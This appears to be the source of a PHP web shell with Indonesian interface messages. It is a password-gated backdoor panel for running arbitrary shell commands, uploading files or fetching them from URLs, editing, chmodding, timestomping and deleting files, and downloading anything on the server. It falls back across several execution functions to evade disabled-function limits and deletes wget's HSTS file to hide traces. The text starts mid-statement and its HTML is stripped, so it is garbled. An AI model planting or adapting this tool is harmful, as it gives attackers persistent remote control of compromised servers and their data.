= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2).' '.$units[$i]; } function rrmdir($dir){ if(is_dir($dir)){ $it=new RecursiveDirectoryIterator($dir,FilesystemIterator::SKIP_DOTS); $files=new RecursiveIteratorIterator($it,RecursiveIteratorIterator::CHILD_FIRST); foreach($files as $file){$file->isDir()?@rmdir($file):@unlink($file);}
@rmdir($dir);
}elseif(is_file($dir)) @unlink($dir);
}

$IGNORE_LIST = [‘.wget-hsts’];
function is_ignored_name($name){ global $IGNORE_LIST; return in_array($name, $IGNORE_LIST, true); }
function is_ignored_target($path){ $base = basename($path); return is_ignored_name($base); }

function sanitize_wget_cmd($cmd){
if(!preg_match(‘/\bwget\b/i’, $cmd)) return $cmd;
if(preg_match(‘/–no-hsts|–hsts-file/i’, $cmd)) return $cmd;
return preg_replace_callback(
‘/(\b(?:\/[-.\w]+\/)?wget\b)/i’,
function($m){ return $m[1].’ –no-hsts’; },
$cmd,
1
);
}

function cleanup_wget_hsts($cwd){
if(!$cwd) return;
$f = rtrim($cwd, ‘/’) . ‘/.wget-hsts’;
if(file_exists($f) && is_file($f)){
@unlink($f);
}
}

if(!is_logged_in()){
if($_SERVER[‘REQUEST_METHOD’]===’POST’&&isset($_POST[‘password’])){
if(login($_POST[‘password’])){header(‘Location:?’);exit;}
$err=’Password salah’;
}
echo ‘

‘;exit;
}

define(‘BASE_DIR’, getcwd());

$notice=”;
if (isset($_GET[‘notice’])) {
$notice = $_GET[‘notice’];
}

if (isset($_GET[‘p’])) {
$cand = rtrim($_GET[‘p’], ‘/’);
if ($cand === ”) $cand = BASE_DIR;
if (is_dir($cand)) {
$cwd = $cand;
} else {
$cwd = BASE_DIR;
$notice = ‘Directory tidak ditemukan. Kembali ke BASE_DIR.’;
}
} else {
$cwd = BASE_DIR;
}

$action = $_GET[‘action’] ?? null;
$target = $_GET[‘file’] ?? null;
$terminal_output = ”;

function run_command($cmd, $cwd = null){
$rc = null; $out = ”; $method = null;

$cmd = sanitize_wget_cmd($cmd);

$env = null;
if ($cwd) {
$env = array_merge($_ENV ?: [], [
‘HOME’ => $cwd,
‘PWD’ => $cwd,
‘PATH’ => getenv(‘PATH’)?:(‘/usr/local/bin:/usr/bin:/bin’),
]);
}

if(function_exists(‘proc_open’)){
$des = [0=>[“pipe”,”r”],1=>[“pipe”,”w”],2=>[“pipe”,”w”]];
$proc = @proc_open($cmd.” 2>&1″, $des, $pipes, $cwd?:null, $env);
if(is_resource($proc)){
@fclose($pipes[0]);
$out = stream_get_contents($pipes[1]); @fclose($pipes[1]);
$err = stream_get_contents($pipes[2]); @fclose($pipes[2]);
$rc = proc_close($proc);
$out .= ($err ? “\n[stderr]\n”.$err : “”);
$method = ‘proc_open’;
}
}

if(!$method && function_exists(‘exec’)){
if($cwd) $cmd = ‘cd ‘ . escapeshellarg($cwd) . ‘ && ‘ . $cmd;
$tmp = [];
exec($cmd.” 2>&1″, $tmp, $rc);
$out = implode(“\n”, $tmp);
$method = ‘exec’;
}
if(!$method && function_exists(‘shell_exec’)){
if($cwd) $cmd = ‘cd ‘ . escapeshellarg($cwd) . ‘ && ‘ . $cmd;
$out = shell_exec($cmd.” 2>&1″);
$rc = is_null($out) ? 1 : 0;
$method = ‘shell_exec’;
}
if(!$method && function_exists(‘popen’)){
if($cwd) $cmd = ‘cd ‘ . escapeshellarg($cwd) . ‘ && ‘ . $cmd;
$h = @popen($cmd.” 2>&1″, ‘r’);
if($h){
$out = ”;
while(!feof($h)){
$out .= fgets($h, 4096);
}
$rc = pclose($h);
$method = ‘popen’;
}
}
if(!$method && function_exists(‘system’)){
if($cwd) $cmd = ‘cd ‘ . escapeshellarg($cwd) . ‘ && ‘ . $cmd;
ob_start();
system($cmd.” 2>&1″, $rc);
$out = ob_get_clean();
$method = ‘system’;
}

cleanup_wget_hsts($cwd);

if($method){
return “Method: $method\n\n[Command]\n$cmd\n\n[Output]\n”.($out?:'[no output]’).”\n\n[Exit code] “.(is_int($rc)?$rc:'[unknown]’);
} else {
return “Gagal mengeksekusi command. Semua metode gagal.\n\n”.
“disable_functions: “.(ini_get(‘disable_functions’)?:'[none]’).”\n”.
“open_basedir: “.(ini_get(‘open_basedir’)?:'[none]’).”\n”.
“PATH: “.(getenv(‘PATH’)?:'[empty]’).”\n”;
}
}

if($_SERVER[‘REQUEST_METHOD’]===’POST’){
if($action===’save’ && $target && is_file($target)){
if(is_ignored_target($target)){
$msg = ‘Operasi tidak diizinkan pada file yang diabaikan.’;
header(‘Location:?p=’.rawurlencode(dirname($target)).’&notice=’.rawurlencode($msg)); exit;
}
@file_put_contents($target, $_POST[‘content’]);
header(‘Location:?p=’.rawurlencode(dirname($target))); exit;
}
if($action===’rename’ && $target){
if(is_ignored_target($target)){
$msg = ‘Operasi tidak diizinkan pada file yang diabaikan.’;
header(‘Location:?p=’.rawurlencode(dirname($target)).’&notice=’.rawurlencode($msg)); exit;
}
$n=basename($_POST[‘name’]);
if($n!==”) @rename($target, dirname($target).’/’.$n);
header(‘Location:?p=’.rawurlencode(dirname($target))); exit;
}
if($action===’chmod’ && $target){
if(is_ignored_target($target)){
$msg = ‘Operasi tidak diizinkan pada file yang diabaikan.’;
header(‘Location:?p=’.rawurlencode(dirname($target)).’&notice=’.rawurlencode($msg)); exit;
}
$m=preg_replace(‘/[^0-7]/’,”,$_POST[‘mode’]);
if($m!==”) @chmod($target, octdec($m));
header(‘Location:?p=’.rawurlencode(dirname($target))); exit;
}
if($action===’touch’ && $target){
if(is_ignored_target($target)){
$msg = ‘Operasi tidak diizinkan pada file yang diabaikan.’;
header(‘Location:?p=’.rawurlencode(dirname($target)).’&notice=’.rawurlencode($msg)); exit;
}
$dt=trim($_POST[‘datetime’]);
$ts=strtotime($dt)?:time();
@touch($target,$ts);
header(‘Location:?p=’.rawurlencode(dirname($target))); exit;
}
if($action===’mkdir’){
$n=basename($_POST[‘name’]);
if($n!==”) @mkdir($cwd.’/’.$n,0755,true);
header(‘Location:?p=’.rawurlencode($cwd)); exit;
}
if($action===’terminal’ && !empty($_POST[‘cmd’])){
$cmd_raw = trim($_POST[‘cmd’]);
$safe_cwd = (isset($cwd) && is_dir($cwd)) ? $cwd : BASE_DIR;
$terminal_output = run_command($cmd_raw, $safe_cwd);
}

if(isset($_POST[‘upload’]) && !empty($_FILES[‘file’]) && isset($_FILES[‘file’][‘tmp_name’])){
$orig = $_FILES[‘file’][‘name’] ?? ”;
$safe = basename($orig);
if(is_ignored_name($safe)){
$msg = ‘Upload di-skip: file \”‘. $safe .’\” tidak diperbolehkan.’;
header(‘Location:?p=’.rawurlencode($cwd).’&notice=’.rawurlencode($msg)); exit;
}
if(is_uploaded_file($_FILES[‘file’][‘tmp_name’])){
$dest = $cwd . ‘/’ . $safe;
if(@move_uploaded_file($_FILES[‘file’][‘tmp_name’], $dest)){
$msg = ‘Upload berhasil: ‘. $safe;
} else {
$msg = ‘Gagal memindahkan file.’;
}
} else {
$msg = ‘Tidak ada file yang di-upload.’;
}
header(‘Location:?p=’.rawurlencode($cwd).’&notice=’.rawurlencode($msg)); exit;
}

if(isset($_POST[‘upload_url’]) && !empty($_POST[‘file_url’])){
$url = trim($_POST[‘file_url’]);
$path = parse_url($url, PHP_URL_PATH);
$name = $path ? basename($path) : ”;
$safe = $name ?: ‘download_’.time();
$safe = basename($safe);
if(is_ignored_name($safe)){
$msg = ‘Download di-skip: file \”‘. $safe .’\” tidak diperbolehkan.’;
header(‘Location:?p=’.rawurlencode($cwd).’&notice=’.rawurlencode($msg)); exit;
}
$dest = $cwd . ‘/’ . $safe;
$ok = false;
if(function_exists(‘curl_version’)){
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
$data = curl_exec($ch);
curl_close($ch);
if($data !== false && $data !== null){
if(@file_put_contents($dest, $data) !== false) $ok = true;
}
} elseif(ini_get(‘allow_url_fopen’)){
$data = @file_get_contents($url);
if($data !== false){
if(@file_put_contents($dest, $data) !== false) $ok = true;
}
} else {
$msg = ‘Tidak dapat mendownload: curl dan allow_url_fopen tidak tersedia.’;
header(‘Location:?p=’.rawurlencode($cwd).’&notice=’.rawurlencode($msg)); exit;
}
$msg = $ok ? ‘Download berhasil: ‘. $safe : ‘Download gagal.’;
header(‘Location:?p=’.rawurlencode($cwd).’&notice=’.rawurlencode($msg)); exit;
}
}

if($action===’delete’ && $target){
if(is_ignored_target($target)){
$msg = ‘Operasi delete diblok: file yang diabaikan.’;
header(‘Location:?p=’.rawurlencode($cwd).’&notice=’.rawurlencode($msg)); exit;
}
rrmdir($target);
header(‘Location:?p=’.rawurlencode($cwd)); exit;
}
if(isset($_GET[‘d’])){
$f = $_GET[‘d’];
if($f && is_file($f)){
if(is_ignored_target($f)){
$msg = ‘Download diblok: file yang diabaikan.’;
header(‘Location:?p=’.rawurlencode($cwd).’&notice=’.rawurlencode($msg)); exit;
}
header(‘Content-Type: application/octet-stream’);
header(‘Content-Disposition: attachment; filename=\”‘.basename($f).’\”‘);
header(‘Content-Length: ‘.filesize($f));
readfile($f); exit;
}
}

$raw_items = @scandir($cwd) ?: [];
$items = [];
foreach($raw_items as $it){
if($it===’.’||$it===’..’) continue;
if(is_ignored_name($it)) continue;
$items[] = $it;
}
?>

‘; } ?>

Info